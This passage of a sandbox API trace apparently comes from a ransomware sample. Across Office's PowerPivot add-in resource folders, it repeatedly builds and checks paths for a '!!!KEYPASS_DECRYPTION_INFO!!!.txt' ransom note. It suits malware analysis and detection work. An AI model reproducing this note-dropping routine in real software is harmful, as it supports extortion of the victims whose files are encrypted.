GetFileType (hFile=0x1410) returned 0x1 [0274.533] CloseHandle (hObject=0x1410) returned 1 [0274.535] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.535] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.535] GetLastError () returned 0x3f0 [0274.535] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1066\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1066\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.535] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1066\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.535] GetFileType (hFile=0x1414) returned 0x1 [0274.536] CloseHandle (hObject=0x1414) returned 1 [0274.536] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.536] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.536] GetLastError () returned 0x3f0 [0274.536] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1069\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1069\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.537] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1069\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.537] GetFileType (hFile=0x1418) returned 0x1 [0274.538] CloseHandle (hObject=0x1418) returned 1 [0274.538] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.538] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.538] GetLastError () returned 0x3f0 [0274.538] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1081\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1081\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.538] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1081\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.539] GetFileType (hFile=0x141c) returned 0x1 [0274.541] CloseHandle (hObject=0x141c) returned 1 [0274.541] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.541] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.541] GetLastError () returned 0x3f0 [0274.541] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1086\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1086\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.541] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1086\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.541] GetFileType (hFile=0x1420) returned 0x1 [0274.542] CloseHandle (hObject=0x1420) returned 1 [0274.542] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.542] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.542] GetLastError () returned 0x3f0 [0274.543] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1087\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1087\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.543] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1087\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.544] GetFileType (hFile=0x1404) returned 0x1 [0274.545] CloseHandle (hObject=0x1404) returned 1 [0274.545] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.545] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.545] GetLastError () returned 0x3f0 [0274.545] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1110\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1110\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.545] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1110\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.547] GetFileType (hFile=0x1424) returned 0x1 [0274.547] CloseHandle (hObject=0x1424) returned 1 [0274.548] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.548] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.548] GetLastError () returned 0x3f0 [0274.548] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2052\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2052\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.548] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2052\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.549] GetFileType (hFile=0x1428) returned 0x1 [0274.550] CloseHandle (hObject=0x1428) returned 1 [0274.550] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.550] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.550] GetLastError () returned 0x3f0 [0274.550] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2070\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2070\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.550] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2070\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.551] GetFileType (hFile=0x142c) returned 0x1 [0274.552] CloseHandle (hObject=0x142c) returned 1 [0274.552] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.552] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.552] GetLastError () returned 0x3f0 [0274.552] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\3082\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\3082\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.552] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\3082\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.553] GetFileType (hFile=0x1430) returned 0x1 [0274.554] CloseHandle (hObject=0x1430) returned 1 [0274.554] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.554] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.554] GetLastError () returned 0x3f0 [0274.554] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\9242\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\9242\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.554] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\9242\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.555] GetFileType (hFile=0x1434) returned 0x1 [0274.565] CloseHandle (hObject=0x1434) returned 1 [0274.618] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0274.618] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.618] GetLastError () returned 0x3f0 [0274.618] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.618] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.621] GetFileType (hFile=0x1438) returned 0x1 [0274.622] CloseHandle (hObject=0x1438) returned 1 [0274.622] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0274.622] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.622] GetLastError () returned 0x3f0 [0274.622] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.622] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.623] GetFileType (hFile=0x1440) returned 0x1 [0274.624] CloseHandle (hObject=0x1440) returned 1 [0274.624] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0274.624] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.624] GetLastError () returned 0x3f0 [0274.624] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.624] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.626] GetFileType (hFile=0x1444) returned 0x1 [0274.627] CloseHandle (hObject=0x1444) returned 1 [0274.627] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0274.627] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.628] GetLastError () returned 0x3f0 [0274.628] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.628] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.629] GetFileType (hFile=0x1448) returned 0x1 [0274.630] CloseHandle (hObject=0x1448) returned 1 [0274.630] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0274.630] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.630] GetLastError () returned 0x3f0 [0274.630] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.630] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.632] GetFileType (hFile=0x144c) returned 0x1 [0274.633] CloseHandle (hObject=0x144c) returned 1 [0274.633] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0274.633] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.633] GetLastError () returned 0x3f0 [0274.633] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.633] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.657] GetFileType (hFile=0x1450) returned 0x1 [0274.658] CloseHandle (hObject=0x1450) returned 1 [0274.658] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0274.658] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.658] GetLastError () returned 0x3f0 [0274.658] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.658] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.690] GetFileType (hFile=0x1454) returned 0x1 [0274.692] CloseHandle (hObject=0x1454) returned 1 [0274.692] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0274.692] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.692] GetLastError () returned 0x3f0 [0274.692] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.692] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.742] GetFileType (hFile=0x143c) returned 0x1 [0274.754] CloseHandle (hObject=0x143c) returned 1 [0274.755] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0274.755] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.755] GetLastError () returned 0x3f0 [0274.755] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.755] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.766] GetFileType (hFile=0x1458) returned 0x1 [0274.766] CloseHandle (hObject=0x1458) returned 1 [0274.767] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0274.767] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.767] GetLastError () returned 0x3f0 [0274.767] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.767] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.768] GetFileType (hFile=0x145c) returned 0x1 [0274.769] CloseHandle (hObject=0x145c) returned 1 [0274.769] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0274.769] SHGetFolderPathW 